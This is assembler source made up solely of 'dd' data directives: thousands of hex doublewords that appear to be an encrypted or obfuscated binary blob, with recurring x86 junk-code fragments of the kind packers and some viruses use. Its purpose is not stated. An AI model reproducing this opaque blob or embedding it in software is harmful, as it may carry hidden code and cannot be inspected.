		dd 0C6F28B59h, 601C185h, 81664706h, 0F54CB5D6h,	8D5DD968h
		dd 0CE8A60C2h, 24048161h, 1A492A53h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 44C35343h, 0B5FF2830h, 6061BDDh
		dd 2E198501h, 858D0606h, 6097A7Ch, 0D499D89h, 8A500606h
		dd 0D0FF5ED7h, 7FDA8050h, 0BD85895Eh, 0E8060624h, 0Ch
		dd 37C39EE6h, 0CF444D8h, 413722DAh, 0C5BD8953h,	5A060601h
		dd 0C185C65Eh, 53060601h, 45ECBE66h, 4E8h, 986AFC00h, 50F18B88h
		dd 2830Fh, 57B20000h, 424448Bh,	13E9h, 398DB300h, 9526A3ABh
		dd 5A887451h, 0F22B6887h, 0A596BF0Eh, 19BE008Bh, 891C2FACh
		dd 58042444h, 810Fh, 0B5FF0000h, 6061BDDh, 2E21B58Bh, 0B70F0606h
		dd 7C858DD3h, 6A06097Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0EB3EC352h,	3F2EE1B7h
		dd 5E9FB251h, 0D0FFD08Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 1AC35040h, 4DCF6108h,	0DC088F05h, 15798589h
		dd 95230606h, 6061311h,	3B9B858Dh, 60530609h, 21E1BD89h
		dd 9D8B0606h, 6060775h,	85895E61h, 606123Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E0C35343h, 6A07F680h
		dd 0FFFF6A20h, 6123D95h, 41493506h, 85C75350h, 606206Dh
		dd 1, 1E185C7h,	606h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0D28B65C3h, 958BF28Bh
		dd 6062D85h, 13E9h, 0D7B900h, 62ED2FB3h, 99F22C67h, 0D505F32Fh
		dd 642C61A7h, 3415BD83h, 0F000606h, 7F84h, 11E900h, 0B7190000h
		dd 0BE4DFEAFh, 145E1664h, 0B8473971h, 8B3DF268h, 615FD85h
		dd 81B58B06h, 106060Bh,	604798Dh, 0A36406h, 8A000000h
		dd 5858BD5h, 6A060615h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 240BC356h, 0E8E08BB5h
		dd 0Fh,	0BE62FAA0h, 33DB7313h, 965BD74Ah, 0E866F1A9h, 8
		dd 0DD6E473Fh, 0F706A9C5h, 8B0Fh, 5A5E0000h, 31BD83h, 0F000606h
		dd 48E85h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0B675D182h, 94A7020Fh, 0E941C681h
		dd 85C60467h, 60601C1h,	9E856h,	24A00000h, 0F9A571E8h
		dd 66934F25h, 0E86C281h, 8158685Eh, 0BE66DD0Ah,	3481EDF2h
		dd 0CFB18724h, 11E85674h, 0A7000000h, 0EE0FD29Eh, 9A46ED8Bh
		dd 0E77D1FEDh, 63F8677Eh, 0EA1DBE66h, 0B5FF5A5Eh, 6061BDDh
		dd 8DF7B70Fh, 97A7C85h,	0EE806h, 0BD7C0000h, 9E39DEFh
		dd 0B87B8586h, 0AC6FBDFCh, 25B19589h, 0FF5E0606h, 51006AD0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0D6819149h, 0A61E105h, 0BE665750h, 895EF55Eh, 6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 2BE43C3h, 6890Fh, 9D290000h,	60633B1h, 2A798D8Dh, 6A0606h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 541841C3h, 48AF71F2h, 131A097h, 6012995h, 0A99D8906h
		dd 5006061Ch, 0DB5DBA66h, 6A240C89h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9726C352h
		dd 0DCD765FEh, 46A799Eh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 0EFC35040h, 0B8DA54Dh, 1620A875h, 0F5858982h
		dd 0E8060620h, 4, 1000h, 52506060h, 585A310Fh, 0BEF2D5BEh
		dd 6651611Ah, 6159F88Bh, 48F0F50h, 66000000h, 8B010DBAh
		dd 66042444h, 8BCD9DBAh, 24448900h, 58F18B04h, 10E8h, 0EC654500h
		dd 27C9D8A2h, 7F4F41F4h, 0DD9A16C8h, 0B5FF5A59h, 6062CA1h
		dd 0E9D0FFF8h, 0Fh, 483B1DCEh, 458C03D3h, 0C5A4CA70h, 8B75E7CAh
		dd 62CA1BDh, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0F870F7Ah, 0E9000000h, 0Ah, 9BCB0501h
		dd 3D7D6D43h, 7F03EE14h, 0B533523Ch, 6060351h, 0F8C7815Ah
		dd 0F000000h, 47C7D1BFh, 2024h,	65BD8960h, 83060628h, 0D7B7DBDh
		dd 840F0006h, 15Ah, 31499D31h, 95010606h, 60615A1h, 6628C783h
		dd 0C7D647BEh, 696A2E07h, 51006A64h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 95C68194h
		dd 0C7130E16h, 74610447h, 95290061h, 6062591h, 7B85858Bh
		dd 9D29060Dh, 60625A5h,	6A0C4789h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0D10DC355h
		dd 8999FB4Eh, 60FB585h,	89858B06h, 6A060D7Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 83F6C352h, 2EF5AE36h, 9D9D890Bh, 8B06060Eh, 6111595h
		dd 81666006h, 60409BD8h, 0F18134B8h, 0D5B52941h, 61060615h
		dd 8478961h, 30059589h,	0C7830606h, 68B0F28h, 81000000h
		dd 0B936A9E6h, 2E07C72Fh, 6A6E6F63h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0D3B5C356h
		dd 47C7BB7Eh, 67696604h, 0F0B70F00h, 7B81858Bh,	0BD89060Dh
		dd 6061D75h, 1C69BD89h,	47890606h, 0BED78B0Ch, 6B4965ECh
		dd 7B7D858Bh, 0BD89060Dh, 6060F45h, 6A084789h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0B98DC357h, 31B19D89h, 0B6580606h, 218D8D90h, 6A060627h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0BD75C352h, 82561B6Eh, 0E9509136h, 14h, 94E22BF8h
		dd 788DC0B7h, 0AB7544B7h
		dd 4757347Fh, 0D2D1A9B6h, 55950191h, 0FF06062Dh, 62A79B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 222E5AE9h, 0B22CD03h, 61141B5h, 0E3466806h
		dd 14E954AAh, 0F8000000h, 95CB1F4Bh, 0DA318F24h, 6B301D95h
		dd 86D2403h, 81FAB58Ah,	0F3462434h, 13E854AAh, 0A3000000h
		dd 1D36808Bh, 0DC30D813h, 0DFE9A5E1h, 6CAAAD4Fh, 0E851AECFh
		dd 7, 6AC66C53h, 5E6446DFh, 0B5FF5E5Eh,	6062CA1h, 0D0FFD68Bh
		dd 0FF3B70Fh, 683h, 8DB58B00h, 0B8060622h, 0
		dd 2B059D89h, 0C00B0606h, 1A840Fh, 0F560000h, 689h, 0D958B00h
		dd 5E06061Ah, 2759B5FFh, 95FF0606h, 6060791h, 958BC08Bh
		dd 60620B5h, 30D1BD83h,	75000606h, 0B5BD8309h, 60604h
		dd 53501974h, 2DB8C08Bh, 89000004h, 620B985h, 0C89D8D06h
		dd 0FF0608B2h, 83585BD3h, 604B5BDh, 17740006h, 2DB85350h
		dd 89000004h, 620B985h,	699D8D06h, 0FF0608AFh, 6A585BD3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0FD8C355h, 0C9B8DE74h, 0DE816647h, 8509FCAEh
		dd 60612B5h, 2FF28166h,	6AC08BC6h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0B18C356h
		dd 1DBD8996h, 8B060602h, 7604EBC0h, 0E937D0A3h,	51Dh, 41A30287h
		dd 0E7496423h, 8BEDBCC9h, 2E90176Dh, 0CF317210h, 4D352BD4h
		dd 0B2D6F456h, 0E7593F5h, 6F173597h, 0FC7DD234h, 0D200F6C7h
		dd 1CE0F633h, 61BFEC9Ah, 0E3A53F43h, 3BD263C4h,	1A202A8Fh
		dd 15E50BBBh, 2D558FF7h, 78D6CDB7h, 0FB5AB819h,	16AD3C9Ah
		dd 420CFE5Bh, 0F785ABD2h, 27B6148Fh, 4BA9FC87h,	0EB4C5B2Dh
		dd 555037C5h, 0FEADD9F7h, 0A70482A0h, 9E082649h, 7333E122h
		dd 49ABF88Eh, 0EB4D582Bh, 91EFB6CDh, 0ADD71573h, 0D83998F6h
		dd 85214F7Ah, 8E1D6B0Bh, 3391166Eh, 6320AED4h, 0C6C0DE40h
		dd 0F4CC7FDDh, 122DC50Dh, 15DB3274h, 52A8EE07h,	6Dh, 0BFEC9A8Eh
		dd 7C11AE61h, 661C2DC4h, 1B50DF3Dh, 2DC47BA2h, 0B1D1F152h
		dd 7D2B94F2h, 8B326729h, 612DC47Ch, 0B8569F00h,	74D11FEEh
		dd 196A8EDh, 0D2000000h, 60BEED9Ah, 985631D1h, 2F55B6EDh
		dd 69C7E6A1h, 2994C9DAh, 0CB2DC47Ch, 0CEB6446Ah, 0AB3C7BD9h
		dd 1A6D770Bh, 6DCC2A8Bh, 0E6C3B4Dh, 396D89AFh, 82E4BFC8h
		dd 27892264h, 0FCE89AD3h, 60BF1D86h, 0BACE6EFFh, 0A308FEDh
		dd 0C418AF3Eh, 0DB9487E3h, 0F097254Bh, 493957B5h, 0AADEFC5Ah
		dd 260473Eh, 0A5E442A3h, 0A611AFF7h, 0EECF0415h, 3B2DC55Fh
		dd 9F005D48h, 0B8495D79h, 0E877D9CAh, 601BA2D7h, 0BAD12DC5h
		dd 57A4E92Bh, 476DCEA7h, 4DDECDB9h, 3B6073Ch, 0D5362DC5h
		dd 0C0C5E3AFh, 166D8BE9h, 7313318Fh, 99B7DA38h,	8B7CFD0Dh
		dd 912762F1h, 4A5C7830h, 0EDF23DC3h, 662AA8h, 8B2B0000h
		dd 0EF4EACF7h, 0E89A05C9h, 0F4932ABBh, 1BE775C1h, 0E2CF81Eh
		dd 0B4D23077h, 5977D5CEh, 9322802Fh, 0C5585F5Eh, 8334952Dh
		dd 2E6F5155h, 0A7DB2680h, 67C9AFCh, 63213F9Dh, 0BCC8E644h
		dd 1C6B89E7h, 1CCA3391h, 627E368Ah, 5737C944h, 3A30A8EEh
		dd 6C000000h, 5DBBE89Ah, 361443Fh, 1DE4C2E0h, 88DC3E65h
		dd 2DBEED9Ah, 7524F296h, 0BEE44239h, 34CC63F2h,	8EFFA709h
		dd 0E3DD0026h, 252DC56Ch, 2EE1F87h, 65A8EE66h, 1, 0BCEB9AA1h
		dd 5D46405Eh, 0B2C3D4FFh, 0C47C407Dh, 0F194B42Dh, 0F2B51B2h
		dd 0CD1B6A97h, 2F8EECBBh, 0FD126CCEh, 38424B5h,	6D591A8h
		dd 788EAD8Ah, 461E5352h, 0BC2BC34Ah, 0A7DFFD5Bh, 0F52A493Dh
		dd 33CB4CC8h, 0C6ACB2Ch, 0CCEA4CADh, 0E093F1BAh, 33CB4CDFh
		dd 8A772F4Dh, 7E1EAFFCh, 0AA7AA007h, 53B1FA8Ch,	0F4525135h
		dd 38C9DD8Bh, 0E1F3554Eh, 0AEF4460Fh, 10858h, 89299400h
		dd 0BD87ADFCh, 0BECF60A0h, 183E651Eh, 0C261D7F5h, 9EFC5D2Bh
		dd 0C9E70680h, 4E9CA27Ah, 0B4C27289h, 3818ED3Dh, 2F5775D7h
		dd 8EF81674h, 0A04EB715h, 0DAF38A06h, 0D5994B09h, 3A4CDA00h
		dd 7BD9D6B2h, 4759BB1Ch, 0AEF41FA9h, 7DDA747h, 9EC42580h
		dd 4F16h, 89295200h, 0C08AB0FFh, 9FD465A5h, 2DC47C4Eh
		dd 7B8C1D7Eh, 0C47C7746h, 0F61C7D2Dh, 7C46772Ah, 24522DC4h
		dd 176E0E82h, 92F3B2D1h, 0E5AFD534h, 0C4F98A8Eh, 2DC47C29h
		dd 2839CA2Bh, 0C47BCAF3h, 0A9C92A2Dh, 1170CEDDh, 627B1BEBh
		dd 0A7000000h, 7001015Eh, 0C268D93Bh, 0C6ACB2Bh, 0A90B98EEh
		dd 4B80FB8Bh, 33CA9872h, 2FC02182h, 96ADF88Fh, 9733DA3Ch
		dd 0DCA8CE48h, 0CACA6929h, 2D799733h, 97F9B2D4h, 4FE0203Dh
		dd 0D04DAD1Ah, 84E24331h, 25832066h, 0EBDACCFAh, 0C8FD8E96h
		dd 2BD5C8FFh, 0C9B0D5F5h, 0CACB2994h, 96ACB33h,	89EB4CABh
		dd 1015E35h, 0FF8C3B70h, 17782BC9h, 0E4192AB9h,	33D200D9h
		dd 16733058h, 85018FB5h, 91F59526h, 0C455B412h,	0D2012E8Fh
		dd 375DBE33h, 6E3D4967h, 3B3D46DDh, 509DE6B2h, 0E40A6B38h
		dd 0B14D6518h, 0F19F2226h, 0B23A4CB5h, 6075D3D0h, 0A862B689h
		dd 3B9CFD5Eh, 21CBBBD9h, 53E44564h, 7AD8D3B3h, 0B29F51Bh
		dd 0A1CC2A79h, 0BD5D3373h, 5F7DDBCAh, 0F9197A29h, 63C2208Fh
		dd 0CCD7AF3Dh, 713A4C6Ah, 147313h, 299F0000h, 7BDAE318h
		dd 0B91A2DC4h, 9636C593h, 0F958B6EDh, 0EF9A0FD3h, 424462C0h
		dd 96ED0B69h, 0F593B10Fh, 483A58B6h, 0A3DFFD5Bh, 84A200h
		dd 5E2745A3h, 0BCCBE947h, 571B93F1h, 0C781E789h, 4, 4B951h
		dd 0CF290000h, 243C8759h, 4EC815Ch, 89000000h, 0D0682414h
		dd 89000056h, 0B951243Ch, 5CFE0047h, 638DC181h,	0C18141D7h
		dd 1B802322h, 0C104E9C1h, 0F18108E1h, 42174E88h, 638BBA52h
		dd 0D1011EBEh, 59CA895Ah, 8904EC83h, 4832424h, 525F0424h
		dd 0D9242C81h, 8F672D23h, 47810847h, 2D23D908h,	243C8B67h
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 5724148Bh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 56E95C24h, 0E5FFF8F3h,	42267693h
		dd 0C5F9057Fh, 898AB8CDh, 0C503060Dh, 6FA3E0FFh, 64450B8h
		dd 54D12469h, 0ABA7311Eh, 73BD6738h, 88D85961h,	0EB2A4321h
		dd 0ED9A5CB9h, 0FE390E08h, 0DE9A04F4h, 31F62949h, 762D3E80h
		dd 4EB5510h, 3B200970h,	580E9h,	44632600h, 0E8C3C4E2h
		dd 861D6886h, 297E0624h, 0CAD9A9C7h, 0CE806D68h, 6F8DEFB4h
		dd 0A288A19h, 0AAC82A79h, 186DCFDCh, 65B6297h, 7B9133D2h
		dd 0EC9AB7h, 62C11F84h,	0B6D07001h, 7C3588BDh, 56B72DC4h
		dd 0E503CFF5h, 86A4069Dh, 0B645A300h, 7C4D70A5h, 3E9F2DC4h
		dd 0AFFC8A18h, 9A543351h, 0CB5CBDEAh, 274D582Bh, 386E1C5Bh
		dd 7138BDC9h, 50D8FA49h, 2C4AAC0Dh, 0CCEA4C57h,	4A5BECB7h
		dd 0C4A0A815h, 0C5EB4C2Dh, 0B9596AF9h, 2382E0CFh, 0C4A14F6Eh
		dd 1E44A52Dh, 4DABF890h, 0EF4D582Fh, 98F6B5D1h,	0D5EBBBE9h
		dd 640097A8h, 0F94EEF5h, 63B52B1h, 0B274D89h, 0C71D669Bh
		dd 2B8AE8BBh, 3C4A68CAh, 0E282116Fh, 46A503A0h,	2EC3FD20h
		dd 176E2DC5h, 6F143290h, 53CDDC7Eh, 0F0514E2Ah,	0F1B5E392h
		dd 0BEE886CFh, 0EDE5A14Fh, 64C6A8h, 9A020000h, 972EBFECh
		dd 541F508h, 5E2A50C1h,	0C56B14ABh, 5056F42Dh, 0EE6433BDh
		dd 671DBDA8h, 1921A40h,	0CE000000h, 60BEED9Ah, 0E0A74542h
		dd 7C5D6095h, 2E8F2DC4h, 7A5A6FCDh, 2669F5E0h, 72133394h
		dd 5674D233h, 0DC1B792Eh, 0CCD7AB4Bh, 0CDE90F6Eh, 855F28D9h
		dd 283A302h, 85E645A3h,	22810523h, 0E89A6CC0h, 483F5DBBh
		dd 0E896FF5Dh, 0AE3F43BEh, 0C847513h, 0E3E41FA2h, 71BB142Bh
		dd 5F700162h, 81DFC6BFh, 0B5506D22h, 43A42DC4h,	0ADBE4D1Dh
		dd 0C4B54578h, 2046A72Dh, 0A01F492h, 0B6523ECh,	6EFD5BBCh
		dd 0CE95285Dh, 0F6572DC4h, 644342D0h, 72345006h, 0EDCE659Bh
		dd 6A02A8h, 293E0000h, 7BDAE318h, 0B91A2DC4h, 267D0593h
		dd 0F32839C8h, 2DC47BCAh, 0F144132Ah, 850B5E05h, 1570FE24h
		dd 7112308Eh, 0D1B6D432h, 5D0B74D2h, 88367749h,	49FE31Eh
		dd 0A5FE84A2h, 4C5B2947h, 8A1C38EEh, 0EDA67D83h, 52EAA8h
		dd 9A260000h, 3F5DBBE8h, 0E0036144h, 651DE4C2h,	8A196E0Eh
		dd 0A518CD2Ch, 472DC47Bh, 0CF2385E6h, 0AEFD8929h, 4B2E3B50h
		dd 0D53E8EBFh, 0C7C04E74h, 0F5CB7EDCh, 132DC57Ah, 4E5F3175h
		dd 0C57AA419h, 0A900852Dh, 2E8FEC4Bh, 746A8608h, 1FDA8EEh
		dd 39000000h, 0D506EB9Ah, 95E85A6Eh, 0CF5EBC1Dh, 129B9938h
		dd 0CBF16104h, 0FC5A493Dh, 8D03A3D1h, 0D576477Ch, 15762DC4h
		dd 852461EFh, 6CB4C923h, 0D3BEA6DBh, 0D3342BC2h, 0C5E2A242h
		dd 0A444D39Fh, 4765C3E0h, 0A8076540h, 0F3932147h, 0BE1F8EF9h
		dd 2B483E5Ch, 0CAD3C7F6h, 679C2D33h, 33CAD456h,	73D43596h
		dd 0A1E68615h, 1F45A402h, 0CAD3C3FCh, 8F146E33h, 32711331h
		dd 0AD1045D4h, 3F33CAD3h, 0E1C573DEh, 0A9CBADFh, 0B2148FF7h
		dd 5BB9F294h, 0E79B493Dh, 9EFF5EBCh, 7D29D740h,	47A90284h
		dd 0F3CDBB35h, 0F09535AEh, 390B93B9h, 47000001h, 0DAE31829h
		dd 1A2DC47Bh, 0C01E8DFAh, 10DA0061h, 0ED22B3F3h, 2BC261DFh
		dd 7896F455h, 0F304950Eh, 0CA95FFBEh, 57543233h, 0DC3D9AF9h
		dd 0BEC8E6B6h, 963D80B5h, 8FAF33CAh, 0F352B0F3h, 0B5D33192h
		dd 506DA2D1h, 0A433CA96h, 0BA51E243h, 0A0E2D064h, 128BEC03h
		dd 0A757B47Ch, 0BC1DC406h, 0B361CA96h, 2B780EF3h, 4039B7C9h
		dd 462EAEF4h, 6A000000h, 11AF9229h, 31F821A0h, 99F85655h
		dd 2D481238h, 0C6275CEDh, 0D22DC538h, 2BA2BA3Bh, 0ED130EECh
		dd 0B063C122h, 2DC56D0Dh, 7C495D8Bh, 5B902161h,	2DC56D92h
		dd 0C1FC31C2h, 332DC56Ch, 6F0F71D2h, 84h, 1015E9Bh, 68D93B70h
		dd 6ACB2BC2h, 7A9842D9h, 27C1F817h, 6F173501h, 0D2B4D234h
		dd 0CAC87BD9h, 0F833CB01h, 2DC4CCDAh, 0BA19C1A4h, 0B5436997h
		dd 0CF1C1CD1h, 4F38204Fh, 0CBBD5DEEh, 8CE6B6DCh, 8F147077h
		dd 0E071D231h, 51542FCFh, 2F7D94F3h, 8A1C4080h,	2AFC1F45h
		dd 1831D0E0h, 4B3B59B7h, 0DFC2FB30h, 0D1322DCFh, 0D6E71270h
		dd 0F9574C36h, 4E58749Ah, 2C5B1A77h, 5A8F2081h,	2BD556CCh
		dd 8BDF41A2h, 7001015Eh, 0C9F2EB3Bh, 1A78D92Bh,	0BF218AFCh
		dd 6196E5A1h, 33D2065Ch, 92F0B7CDh, 1475D633h, 6CD503B6h
		dd 0AD5B16F7h, 820097F9h, 0B7F4949Dh, 0C2E3FA59h, 0A5335970h
		dd 4260C2E1h, 0EB096744h, 81AC0A99h, 0D8AE5353h, 3B4B69CBh
		dd 72831270h, 0E4B1803Dh, 0D5D4B168h, 5ABB1877h, 365C4B3Ah
		dd 0A26h, 0C771700h, 0B6DC3B99h, 9A065AF2h, 4462C0EFh
		dd 0ED0B6942h, 93B10F96h, 3A58B6F5h, 0DFFD5B48h, 84A200A3h
		dd 2745A300h, 0CBE9475Eh, 1B93F1BCh, 81E78957h,	4C7h, 4EF8300h
		dd 31243C33h, 3C33243Ch, 89505C24h, 405E0h, 42D0000h, 87000000h
		dd 895C2404h, 8951241Ch, 4C181E1h, 83000000h, 0C8704E9h
		dd 34895C24h, 1121BB24h, 0C381516Ah, 282E61C5h,	6EE38143h
		dd 812F8045h, 0B8F982EBh, 0F7DBF7BDh, 0F7E3D1D3h, 3AEB81DBh
		dd 810BA87Eh, 0BB698CEBh, 348B5416h, 4C48124h, 53000000h
		dd 3946BB53h, 5C311E7Eh, 8F5B0424h, 76810846h, 7E394608h
		dd 24348B1Eh, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 52241C8Bh
		dd 0C281E289h, 4, 8704C283h, 0E95C2414h, 0FFF8ED8Dh, 0E7DF514Eh
		dd 8F3BB870h, 0C503060Dh, 0FA19E0FFh, 85614780h, 52EE3B6Ah
		dd 0C68538DBh, 7BD36229h, 5C8E0082h, 3F1C4C62h,	202D2611h
		dd 57F7658Eh, 76C86392h, 0F9E586Fh, 5E0D4FFCh, 85C56D70h
		dd 0F1991A2Ah, 3C580E91h, 56174F63h, 7D6373D3h,	0D7551BBFh
		dd 5C4430D3h, 0AE80E46h, 0D9000000h, 43ACADB1h,	7DF0ACCCh
		dd 0F78B5AC2h, 5EF1C281h, 8E90000h, 41000000h, 8DECFEECh
		dd 0B9520AECh, 0
		dd 31B9E681h, 48B6570h,	0FE8B660Ah, 2FE0E881h, 0D88B5DA2h
		dd 0F32AC081h, 0E850078Eh, 10h,	0D92B85B6h, 17E79EFh, 0B19B4188h
		dd 4A4C8BFFh, 5EF9BF0Fh, 72C0815Fh, 6036DB05h, 0DA8B6656h
		dd 0E381665Fh, 50618EFEh, 0C7816656h, 8F5BB728h, 0CE90A04h
		dd 67000000h, 0AA77865Bh, 0EFC1558Eh, 0E880EBB1h, 0Dh
		dd 60C65215h, 680066EFh, 15B84A2Ah, 5BDF8B22h, 8B04E983h
		dd 0C0F981F2h, 0FFFFFA1h, 0FFFF7D85h, 7ABF51FFh, 5F5ADCBCh
		dd 91EA8D8Dh, 6A060Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 85C3F4C3h, 1714C456h, 8B5FF9BFh
		dd 631D99Dh, 0DD8D8906h, 0B6060628h, 1185C7C5h,	0A8060611h
		dd 6A000065h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 81E0C352h, 8AF244E0h, 4985C716h
		dd 6062Eh, 0E9000000h, 13h, 0CF2282CAh,	0E70E2A04h, 0D82BDEB9h
		dd 6A223FD8h, 0FFEC7F13h, 61325B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 454264AAh
		dd 30B39D16h, 79195FFh,	6A0606h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 39548C3h, 58B0FAEh, 66000000h
		dd 88E7DA81h, 95FF006Ah, 6061AC9h, 7AEBC08Bh, 8B19C8F8h
		dd 2BDC7256h, 33F96B16h, 26635260h, 1E45FAD5h, 0DACEC152h
		dd 75AF147Ch, 0C3A8DEA4h, 85EA17D9h, 0B0505797h, 89357576h
		dd 0A7F64422h, 59A86408h, 0B359090Ch, 6E8B7196h, 76E494D9h
		dd 26B26B71h, 4C47CD46h, 0CCE1B46h, 0B99BC994h,	2201D86Ah
		dd 8316534Ch, 0A42F316h, 8FCA7D28h, 98C3D907h, 0FE3FB28h
		dd 518A3CC9h, 0B36F0A03h, 293DF0ECh, 9ED0FC1Dh,	0C08B0385h
		dd 17Ah	dup(0)
		dd 0A8C0F00h, 0E9000000h, 5, 0A56E9FF1h, 6A9DFC20h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0BC5EC351h, 0E976EE00h, 0Bh,	14CAC07Eh, 0BEB81DCDh
		dd 0F8C75829h, 51006A61h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0FD8C273h, 1F82h, 0BE666000h
		dd 13E88938h, 0E9000000h, 0B860D992h, 77D699EBh, 0E3E36FFAh
		dd 73F4C9B7h, 615B69EAh, 53006A5Dh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 463AC2F5h, 1327AE9h, 6A082444h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 9B35C351h, 0B004CD05h, 5E9781Ah, 0B5000000h
		dd 52F46208h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 2DEFE4Eh,	60E5F2A0h, 0C8E38166h
		dd 0C2B70F72h, 6AC39D61h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 27E8C353h, 0AC7CD2ADh
		dd 0FCA7E00h, 0B85h, 6E900h, 0BC270000h, 29FB3EBBh, 6800F60h
		dd 81000000h, 3B27F2EAh, 890F612Bh, 1, 5E9FCh, 48970000h
		dd 8BC73EEFh, 860FFCC0h, 3, 8B85F680h, 0AEEE81CAh, 0F27B961h
		dd 388h, 5FF55100h, 0E6C0BB66h,	0F5C68B66h, 0EE86053h
		dd 0DE000000h, 5FF8B33Bh, 813DD8F6h, 0FF06E11Fh, 58615AF6h
		dd 10E9h, 38F79D00h, 0EED62EC6h, 3AAF936Ch, 0AC54B2A1h
		dd 0CE838h, 0B79C0000h,	0CC421558h, 0EEB8ED3Dh,	0BB66851Eh
		dd 0E85FFEFAh, 5, 5865E95Bh, 0E1816613h, 0E959BA53h, 12h
		dd 8B72BFCAh, 0F2626671h, 0A766DC3Fh, 93189638h, 5F56163Bh
		dd 0F0C38166h, 7E8F7h, 58860000h, 0A1DF3B7Ah, 10E9DDh
		dd 15AB0000h, 7D69B573h, 0E2F3B641h, 368F934Ch,	0F5857D2h
		dd 0D38BC8BFh, 6E8h, 3A4FD600h,	5BF266C1h, 0E9C8BF0Fh
		dd 0Ch,	975E2BE4h, 1518F866h, 7AC33382h, 14E8h,	0EC2AF200h
		dd 0B96D6719h, 8B616C04h, 0BA2DF1FEh, 5B8BAC15h, 0CE8B663Ah
		dd 6BE665Ah, 8800F75h, 0F000000h, 28Fh,	0F595700h, 38Dh
		dd 0D38B6600h, 0A00AC281h, 0C6810DBAh, 3A45A97h, 5830Fh
		dd 81660000h, 0E90A1AD3h, 11h, 488EA7CCh, 0B9EB988Ch, 7943471Ah
		dd 1737186Ah, 0FA8B66C8h, 0E6D431BEh, 0BEBB5361h, 5B05C862h
		dd 0CEE7DA81h, 0AE93597h, 6D000000h, 0D489FFBFh, 684618Fh
		dd 8B666064h, 6103B6D3h, 0EE9F5h, 57440000h, 57B9DED7h
		dd 72CDD372h, 55BF63E1h, 13E8h,	0FE7A6D00h, 0F343E152h
		dd 0BAAE7559h, 823C8108h, 25884514h, 5E616052h,	58C7805Ah
		dd 0FCFCDF8Bh, 0CBC78166h, 0DE956D7h, 0B9000000h, 2B8381F9h
		dd 0EFFAF7CFh, 0C7A2BD0h, 0ADC9815Bh, 600A1212h, 178B0Fh
		dd 12E90000h, 0D1000000h, 65A380BEh, 7A30867Ah,	0F12FA7A3h
		dd 6042210Ch, 61F48A8Bh, 0E917B760h, 0Fh, 9886124Dh, 0DDDED395h
		dd 8D726135h, 611B6FA2h, 11E9h,	298AC400h, 46696C2Ch, 6AC5845Eh
		dd 0A191715Ch, 0D580395Fh, 7ABB66FEh, 14E8F8h, 530A0000h
		dd 1184EAB4h, 0D6E5742Ch, 292D26ABh, 4E6894ADh,	8153140Ch
		dd 0A0D1C1EEh, 0F5A5E12h, 0F60C8BFh, 685h, 6FD08100h, 0F33DD3Eh
		dd 685h, 8C0F00h, 61000000h, 0A162B866h, 0E449D881h, 81663694h
		dd 60F3F2DAh, 8192B866h, 61D18B66h, 7CE28166h, 0FABF0FF2h
		dd 0D68B66F5h, 9E9h, 0A3B4EA00h, 1C143BF9h, 0FE8B77D3h
		dd 38E0Fh, 0BF0F0000h, 0AE9F6h,	0B8360000h, 5D6EC7F1h
		dd 9EB927F4h, 9E9h, 0D300F00h, 5DE943B7h, 0B70FB515h, 5830FDBh
		dd 66000000h, 4B95C181h, 8BD8BF0Fh, 27BE66CEh, 0DE8F8F4h
		dd 0F000000h, 91155164h, 290E141Dh, 0D93C2608h,	5BC68B66h
		dd 6CA24ABFh, 98F0F47h,	60000000h, 8E0Fh, 61F90000h, 6E9h
		dd 81C40900h, 0F3BFBA0h, 38Bh, 0D98B6600h, 1F50B966h, 0CEB70F60h
